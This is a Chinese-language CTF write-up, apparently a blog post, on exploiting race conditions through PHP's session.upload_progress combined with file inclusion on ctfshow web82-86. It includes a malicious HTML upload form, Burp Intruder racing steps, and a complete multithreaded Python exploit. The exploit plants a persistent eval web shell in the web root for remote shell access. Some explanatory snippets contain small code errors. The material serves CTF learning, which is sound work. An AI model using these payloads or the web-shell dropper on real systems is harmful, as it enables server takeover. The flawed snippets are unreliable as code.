条件竞争漏洞
条件竞争漏洞概述
条件竞争原理
- 生活类比理解:想象去银行取钱,银行柜台只有一个窗口办理取款业务,有很多人排队取钱。正常情况下,工作人员会按顺序办理业务。但如果没有维持好秩序,有几个人同时挤到窗口前,都递上银行卡说要取钱,这时候就可能乱套了。在计算机程序里,也有类似情况。程序就像银行的业务处理系统,不同的操作请求就像排队取钱的人,当多个操作请求(线程)同时去访问和修改同一个资源(比如共享变量、文件、数据库记录 ),而且没有合理的控制顺序和保护机制时,就会出现条件竞争。
- 技术原理:在程序运行中,开发者一般希望代码按顺序一条一条执行。但在多线程或多进程的环境下,服务器会并发处理多个请求。如果没有使用合适的同步机制(像锁,它能保证同一时间只有一个线程能访问某个资源 ),这些并发的线程就可能同时操作共享资源,导致结果不可预测。比如两个线程同时读取一个变量的值,然后都对这个值进行修改再写回去,最后保存的值可能不是预期的,因为它们互相干扰了。
条件竞争漏洞的利用
- 以文件上传为例: 有些网站允许用户上传文件,服务器会先检查文件是否符合要求(比如只允许上传图片格式文件 ),如果不符合就删除。在检查和删除之间有个时间差,这就是 “竞争窗口” 。攻击者可以利用这个时间差,快速多次发送上传恶意文件(比如包含恶意代码的 PHP 文件 )的请求。因为服务器在同一时刻可能处理不过来这么多请求,在还没来得及删除不符合要求的文件时,攻击者就可能成功访问到这个恶意文件并让它执行,进而在服务器上植入后门,获取对服务器的控制。类似于DDOS攻击,当请求发送得太多,服务器可能会漏掉一些恶意文件的上传请求,从而导致恶意文件被发送在服务器中造成后门漏洞。
- 以电商场景为例:电商平台有库存和优惠码使用的限制。比如一件商品库存只有 1 件,正常情况一个用户下单后库存就变为 0,其他用户不能再买。但如果存在条件竞争漏洞,攻击者可以同时发送多个购买请求。服务器在处理这些请求时,可能因为竞争条件,多个请求都读到库存为 1,然后都认为可以购买,这样就可能超卖。还有优惠码,假设一个优惠码只能用一次,攻击者通过并发请求,利用竞争条件,可能多次使用这个优惠码来获得折扣。
- 为什么这道题会有条件竞争的漏洞利用,首先,题目为文件包含问题,需要文件的上传,另外,
php.ini
中有设置ession.upload_progress.cleanup
为On
,所以文件上传成功后的与文件上传有关的数据会被清楚,所以需要条件竞争来使我们的恶意代码得以上传成功。
关于PHP_SESSION_UPLOAD_PROGRESS
进度信息存储
当 PHP 配置项 session.upload_progress.enabled
开启(默认开启 ),且表单中存在名为 PHP_SESSION_UPLOAD_PROGRESS
的字段。
如:
1 |
|
同时进行文件上传操作时,PHP 会将文件上传进度相关信息存储到会话(
session
)中。PHP 会在
$_SESSION
中添加一组数据,其索引由session.upload_progress.prefix
与session.upload_progress.name
连接而成。例如,若
session.upload_progress.prefix
为upload_progress_
,session.upload_progress.name
是my_upload
。那么在会话中存储上传进度信息的索引可能类似:
upload_progress_my_upload
。这组数据包含文件上传的开始时间(start_time
)、POST 数据长度(content_length
)、已接收并处理的字节数(bytes_processed
)、是否完成(done
) ,以及每个上传文件的详细信息(如字段名field_name
、文件名name
、临时文件名tmp_name
、错误码error
等 ) 。
关于”PHP_SESSION_UPLOAD_PROGRESS”字段的进一步理解阐述
PHP_SESSION_UPLOAD_PROGRESS
作为标识符号
PHP_SESSION_UPLOAD_PROGRESS
这个 name
字段就如同一个特殊的 “开关” 或者 “标识符号”。当 session.upload_progress.enabled
配置项开启时,PHP 脚本在运行过程中一旦检测到表单里存在 name="PHP_SESSION_UPLOAD_PROGRESS"
的字段,就会开启文件上传进度跟踪功能。
对文件上传操作数据的记录
一旦识别到 PHP_SESSION_UPLOAD_PROGRESS
字段,PHP 会自动记录该脚本里所有文件上传操作的数据。这些数据涵盖了文件上传的各个方面,例如已上传的字节数、文件的总大小、上传起始时间、上传文件的字段名、文件名、临时文件名等。借助这些信息,开发者能够实时掌握文件上传的进度。要是表单中没有这个特定的 name
字段,即便 session.upload_progress.enabled
处于开启状态,PHP 也不会自动对文件上传字段的数据进行记录。
数据一同记录在 $_SESSION
变量中
除了记录文件上传的进度信息,设置了 name="PHP_SESSION_UPLOAD_PROGRESS"
的字段对应的值也会和文件上传数据一起被记录到 $_SESSION
变量中。在会话中,PHP 会依据 session.upload_progress.prefix
(默认是 upload_progress_
)和 PHP_SESSION_UPLOAD_PROGRESS
字段的值来生成一个键名,然后把上传进度信息以及该字段的值存储在这个键名对应的会话数据里。
示例说明
以下是一个简单示例,能够帮助你更好地理解上述机制:
1 |
|
在 upload.php
脚本中:
1 |
|
在这个例子里,表单中存在 name="PHP_SESSION_UPLOAD_PROGRESS"
字段,其值为 my_upload
。当用户提交表单上传文件时,PHP 会记录文件上传进度信息,并将其和 my_upload
关联起来存储在 $_SESSION
中。在 upload.php
脚本里,通过生成对应的键名 upload_progress_my_upload
就可以获取上传进度信息。
关于value
值的解析
1 | <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval(system('ls'));?>"><!--这里被解析出来了--> |
- 这里表单的
name
和value
值的意义可以见我下文对python
脚本法的解析。
关于为什么要设置唯一的PHPSESSION
我们需要来明确:条件竞争漏洞的出现条件。
简单来说:当一个会话收到多个请求的话,就会出现该会话难以一次性处理繁多请求的情况,导致文件上传数据的可能没来得及被清除,就会被php读取。导致恶意代码被读取执行。
详细来说:
当一个会话接收到多个并发请求时,服务器处理这些请求的过程并非完全顺序执行,而是会存在时间上的重叠和交错。在文件上传场景下,尤其是开启了
session.upload_progress.cleanup = on
配置时,服务器会在文件上传完成后立即清空会话文件内容。然而,由于高并发请求导致服务器资源竞争,处理请求的时间变得不确定。比如,一个请求正在往会话文件里写入包含恶意代码的
PHP_SESSION_UPLOAD_PROGRESS
数据,而另一个请求可能在服务器还没来得及清空这个会话文件时,就开始读取该文件内容。这样一来,就出现了请求之间的 “竞争” 情况,使得包含恶意代码的会话文件数据有机会被 PHP 读取并执行,从而触发漏洞。另外:
PHPSESSION
可以标识唯一的会话id
,方便攻击者对文件进行定位文件并且确定唯一会话。
解析文件包含中的session文件和$_SESSION
变量的联系
- 比如如下例题:
- ctfshow web82
1 |
|
这里的关键点就是:
$file = str_replace(".", "???", $file);
这里把文件中的.
即用于标识文件后缀的点号给过滤了,而在文件包含题目中,只有session
即会话文件没有后缀,所以我们这道题明显需要使用session
即会话文件进行文件上传的操作首先了解名为
PHPSESSION
的cookie
标识了session
会话文件的名字,其路径一般为:?file=/tmp/sess_xxx
,而PHPSESSION
的名字就代表xxx
,比如取名:test
,那么session
文件名字为:sess_test
如何在
sess_test
即会话文件中写入代码让命令攻击得以进行?我们就需要条件竞争漏洞,通过键值为PHP_UPLOAD_PRGRESS
的字段将value
上传至$_SESSION
中的指定键中,就可以将代码·1送入sess_test
这个文件中我们再在
url
中传入:/?file/tmp/sess_test
这个paylaod
就会让恶意代码得到执行。关于
PHPSESSION
的cookie文件、服务器会话文件sess_xxx
,以及$_SESSION
之间的联系:
具体例题分析
web82(bp解法)
- 该题源码:
1 |
|
可见该题将传入的
payloads
中的.
符号给过滤掉了,明显我们就需要一个无后缀的文件进行文件上传并受到include
的解析,得以使得文件包含可以被执行。步奏一:
构建如下php
脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ctfshow web82</title>
</head>
<body>
<form action="https://c3b6f538-fc7c-43b8-b886-82c377c5e370.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval(system('ls'));?>"/><!--这里被解析出来了-->
<input type="file" name="file" value="选择攻击文件"/>
</br>
</br>
<input type="submit" name="submit" value="提交"/>
</form>
</body>
</html>
session_start();脚本详解:该脚本对目标靶场地址提交一个文件,在提交文件的同时将隐藏字段的
value
也一同提交,该value
就是我们想要对服务器进行操作的恶意指令,服务器软件通过name
为PHP_SESSION_UPLOAD_PROGRESS
字段的识别,可以得知该隐藏字段的值会序列化并提交到sess_xxx
,即会话文件中,(注意,name
为PHP_SESSION_UPLOAD_PROGRESS
的字段本质上是要把该字段的值提交到,储存文件上传进度相关数据的文件中),**该sess_xxx
**文件又会被包含,即被解析,并且没有后缀名,那么,我们就可以通过包含这个会话文件使得恶意代码得到执行。关于会话文件详解:
如何创建会话文件?
我在上文的基础概念的讲解中有提到,名为PHPSESSID
的Cookie
的值就为会话文件sess_xxx
文件名中xxx
一段代表的值
比如:
我设置PHPSESSID
的值为mmk
,那么该会话文件的名称为sess_mmk
,根据会话文件的路径:关于session文件默认的路径有以下几种:
1
2
3
4/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID此题的默认路径为:
/tmp/sess_PHPSESSID
。
我们就可以输入payloads:
/?file=/tmp/sess_mmk;
对文件进行包含让服务器读取其中的恶意代码。
所以总的来说,逻辑如下:

1.首先执行恶意脚本并对其进行抓包
且记得写入一个名称为
PHPSESSID
的Cookie
,名称为该值的Cookie
会在默认会话文件路径下创建一个会话文件。用于文件包含。2.制造文件访问请求:
由于我们已经使用cookie
创建过指定名称的会话文件,此时传入值为/?file=/tmp/sess_name;
的payloads,制造对会话文件的访问请求,如下图所示:可见
GET
请求头已经传入相关路径。3.高频发送数据包
将burpsuit按如下方式进行设置,通过高频发送传入数据和访问文件的请求,制造条件竞争环境:
对于会话数据(即恶意代码)的高频传入:将抓住的文件上传脚本数据包传入bp的
intruder
模块,设置payloads为Null
,并且设置为continue indefinitely
,不断发送请求新建资源池,设置线程为
30
:设置完成后,先不立即开始攻击
对于文件访问请求攻击的制造,使用相同的操作流程,唯一不同之处:
将线程数设置为80
,访问请求比数据传入请求线程更高,更容易访问包含到恶意文件从而执行恶意代码**之后操作一定要快,先启动设置好的文件上传请求后立刻开启设置好的文件访问请求,**观察文件访问请求的字段长度:
可以发现一个字段长度明显与其他字段长度不同的结果,这张截图是最终结果,即使用
cat
指令对对于文件进行抓取读取其中的信息。我们正常的流程应该是先设置
value
为value="<?php eval(system('ls'));?>"
列出当前服务器下的文件列表:可见,我们要抓取的文件名为:
upload_prgress_fl0g.php
,所以我们的抓取目标为fl0g.php
存疑:为什么是抓取fl0g.php而不是完整的upload_progress_fl0g.php再设置
value
为value="<?php eval(system('cat fl0g.php'));?>"
对指定文件进行抓取:获取上文我们发现的flag
。
web82-86(python脚本解法)
以下为源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import threading
import io
url = "http://1361c1bf-81a8-4fd2-88a5-47f365da8162.challenge.ctf.show/"
session_id = "mmk"
data_session = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php @eval($_POST[1]);?>"}
data_shell = {"1": "file_put_contents('/var/www/html/486.php','<?php @eval($_POST[cmd]);?>');"}#转义的问题?并非,不用双引号也行
cookies = {"PHPSESSID": session_id}
fileBytes = io.BytesIO(b'a'*1024*1024*10) # 文件大小要足够大
files = {'file': ('gbc.png', fileBytes)}
exit_event = threading.Event() #定义全局事件
def write(session):
while not exit_event.is_set():
session.post(url,
data= data_session,
cookies=cookies,
files=files)
def read(session):
while not exit_event.is_set():
session.post(url+"?file=/tmp/sess_"+session_id,
data= data_shell,
cookies=cookies)
response = session.get(url + "486.php")
if response.status_code == 200:
print("awa 486 desu!\n")
exit_event.set()
else:
print(f"状态码:{response.status_code}\n")
def main():
with requests.session() as session:
for _ in range(10):
threading.Thread(target=write, args=(session,)).start()
for _ in range(10):
threading.Thread(target=read, args=(session,)).start()
if __name__ == '__main__':
main()相关库的介绍:
request
库用于让脚本可以对目标网站发送GET/POST
请求,threading
库用于创建多个线程io
库用于创建虚拟文件上传流
解题思路
该段代码的逻辑为:
- 利用名为
PHPSESSID
的cookie
文件创建一个名称指定的会话文件,尝试对其写入<?php @eval($_POST[1]);?>
这样的一句话木马。 - 之后采用条件竞争的方式,让该文件有瞬间残留于
/tmp
路径下。 - 在条件竞争的时,
read
函数不仅会试图访问,即包含执行该文件中的代码,还会发送一个创建含有恶意代码的php
文件的POST
请求,该POST
请求会在sess_
文件被包含,其中的代码被执行的一瞬间一同执行,使得攻击者可以创建一个永久的含有可执行恶意代码的php
文件在网站根目录下,方便我们采用蚁剑等工具连接获取服务器的shell
。
- 利用名为
代码细节解释
request
库简明教程:菜鸟教程–request库
request
库中创建session.post
实例时需要传入data
参数,这里我们对其进行介绍:data
是一个字典类型的数据结构,用于在发送POST
请求时携带数据。
对于GET
请求,一般不用data
参数,而是使用params
参数来传递查询参数并拼接到 URL 中。
比如我的代码中有这样一段代码:1
2
3data={
"1","file_put_contents('/var/www/html/486.php','<?php @eval($_POST[cmd]);?>');",
}这里的这段
data
数据的键值为1
,值为后方的字符串,如上的POST
请求就会被后端目标访问文件中如$_POST[1]
这样的超全局变量获取到。
更进一步来说:
比如以下代码:1
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php @eval($_POST[1]);?>"}
这里的代码可以类比以下前端代码:
1
2
3
4
5
6
7<form action="https://c3b6f538-fc7c-43b8-b886-82c377c5e370.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval(system('ls'));?>"/><!--这里被解析出来了-->
<input type="file" name="file" value="选择攻击文件"/>
</br>
</br>
<input type="submit" name="submit" value="提交"/>
</form>其中
name
为PHP_SESSION_UPLOAD_PROGRESS
的字段,根据表单method
值为POST
,这里就是提交对应键值为PHP_SESSION_UPLOAD_PROGRESS
的POST
请求,该请求会被发送到后端对应的$_POST
超全局变量中。该机制相当在重要。针对
PHP_UPLOAD_SESSION_PROGRESS
的情况,后端可能有如下代码:1
2
3
4
5
6
if(isset($_POST['PHP_SESSION_UPLOAD_PROGRESS'])){
$_prefix = ini_get('session.upload_progress.prefix') . $_POST['PHP_SESSION_UPLOAD_PROGRESS'];
$_SESSION[$_prefix]['xxx'] = $_POST['PHP_SESSION_UPLOAD_PROGRESS'];
}如上代码就将键名为
PHP_SESSION_UPLOAD_PROGRESS
的键值对中的值给存于$_SESSION
超全局变量中。
关于恶意文件路径设置
我们可以由以下问题带出现在要讲解的知识点:
Q:为什么在使用
file_put_contents
函数时路径不为URL+/var/www/tmp/shell.php
?
因为:PHP 代码运行在服务器上,
file_put_contents
操作的路径是 服务器本地文件系统路径,不是 URL!示例:假设服务器上的网站根目录是
/var/www/html
,写入shell.php
的路径应为/var/www/html/shell.php
。URL 路径:用户通过浏览器访问的是 Web 路径(如
http://example.com/shell.php
),这和服务器本地路径是两套体系。**Q:**为什么在URL访问的时候直接加上
/shell.php
?因为:
URL 路径映射:
假设服务器配置将/var/www/html
作为 Web 根目录,那么:http://example.com/shell.php
→ 对应服务器文件/var/www/html/shell.php
。因此,直接访问
url + "shell.php"
即可(如http://ctf.show/shell.php
)。
关于io
库:
1 | fileBytes = io.BytesIO(b'a'*1024*1024*10) |
BytesIO
可以理解为一个具有文件特征的对象,它所代表的数据装在内存中而非磁盘中,这样可以提高数据的读取效率。
在files
的字典中:
1 | import io |
键值为file
的键值对中的第二个值通常需要是一个类文件对象(file-like object),详细来说:io.BytesIO
就是一种典型的类文件对象,因为它模拟了文件对象的行为,提供了如 read()
、write()
、seek()
等文件操作方法。
不过,fileBytes
并非只能是 io.BytesIO
对象。只要是实现了类文件对象接口的对象都可以,例如:
- 实际的文件对象:当你打开一个磁盘上的文件时,得到的就是一个文件对象,也能放在这里。示例如下:
1 | import requests |
- 其他实现了类文件接口的自定义对象:如果自己编写一个类,实现了必要的文件操作方法,那么这个类的实例也能作为
fileBytes
的值。
关于threading.Event()
可以详见我的这篇博客:关于python中的Event实例对象
这里我们设置了一个全局变量
exit_event
,通过该全局变量来控制线程的活动情况,初始由于其值为False
所以我们的while
循环设为:1
2
3
4
5
6
7
8
9def read(session):
while not exit_event:
session.post(url,data=data,cookies=cookies)
response=#....
if response.status_conde==200:
print("木马上传成功!")
exit_event.set#设置exit_event为True,停止while循环
break
#略write
函数也是同样的道理
关于main
函数
在这里,由于条件竞争需要同一个会话,所以:
with requests.session() as session:
用于创建一个Session
对象,然后在这个会话中启动多个线程来发送请求。这样做可以确保所有线程共享同一个会话,保持 cookies 等状态信息,提高条件竞争成功的效率。for _ in range(10)
,这里即创建10个进程进行函数操作。对于
1
threading.Thread(target=write, args=(session,)).start()
参数
target=write
指定该线程执行的函数,args
的值必须是一个元组,元组中只有一个元素时,需打一个,
符号,表示一个元素。
并且使用start()
开启进程。最后启用
main
函数即可。